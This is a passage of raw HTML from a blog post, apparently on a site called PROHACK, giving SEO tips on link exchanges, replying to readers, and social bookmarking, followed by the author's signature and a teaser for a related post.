#3778cd; text-decoration: none;" target="_blank" title="More Google innovations at PROHACK"><b>Google</b></a> alerts or any other service. I have implemented the sms update service on my blog. You can join and get the latest updates of my website from <a href="http://labs.google.co.in/smschannels/subscribe/PROHACK_SMS_UPDATES" style="color: #3778cd; text-decoration: none;" target="_blank" title="Join PROHACK SMS UPDATE Service"><b>here</b></a><br /><b><i>Friendship counts</i></b><br />Yup..make friends,both with readers and other webmasters. Ask for<i> <u>LINK EXCHANGE FROM SITES WITH HIGHER PAGERANK AND RANKING</u>.</i>Comment frequently on well maintained blogs,leave your links by permission and invite them to comment and post articles on your blog.This will help maintain good relations with other bloggers. Exchange SEO techniques and you can even host their ads on your website and yours on them.  <img alt="LINK EXCHANGE FROM SITES WITH HIGHER PAGERANK AND RANKING" border="0" height="143" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinG7ZWjkuTLs3BgF8JRXQhzkOOrpwdhgljCYruNUS8fGFsddfWITyi-urtPfzKuUIZ-_1gejr-YiUQnYGryTRWhABRbbd6qkIsTngUWrhc72Y2yQviW6RnrlsgJEy6F06SsAr_IvRp3hY/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: block; float: none; margin-left: auto; margin-right: auto; padding: 8px;" title="LINK EXCHANGE FROM SITES WITH HIGHER PAGERANK AND RANKING" width="252" /><br />Make sure to Reply to comments left by your readers.This way they will feel they are being heeded and are following a professional website.<br /><b><i>Social Bookmarks</i></b><br />Get free publicity from social bookmarks. Encourage your users to bookmark your content and share it the way they like. Allow them to remix and adapt your content and make sure you do get a backlink for that (You sure deserve it :P). Embed feed and sharing widgets in your site and use them to your advantage. Make a brand name for yourself using these tools.<img alt="Use social bookmarking to your advantage" border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg014SRc48Np65_IZ9l16xisVvyK10GJ9lo9abtSi_yyhdQ0dSzTWdFDUg6KsmhI_GtKE-Ezyq4uXx2XLZ_mRLJO9t40P9OW9mb3XyrK3PxtYdXR9mTbYio_Ose8hpquSxKXE656-_zFDQ/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: block; float: none; margin-left: auto; margin-right: auto; padding: 8px;" title="Use social bookmarking to your advantage" width="240" /><br />Today an average internet surfer is very intelligent and likes to share and link up everything he gets with his near and dear ones..Urge him to share up your views and ideas.Digg,Stumble,Reddit your ideas and articles regularly and be an active member in these communities.<br /><br />I hope you will have a nice time with your website once you follow this straight.<br />Gudluck and Keep learning</span></div></span><br /><div><br /></div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

SEO The 10 SEO tips to Optimize your website

The 10 SEO tips to Optimize your website Making a website is easy,but making it survive through the Wild Wild Web is quite a formidable task...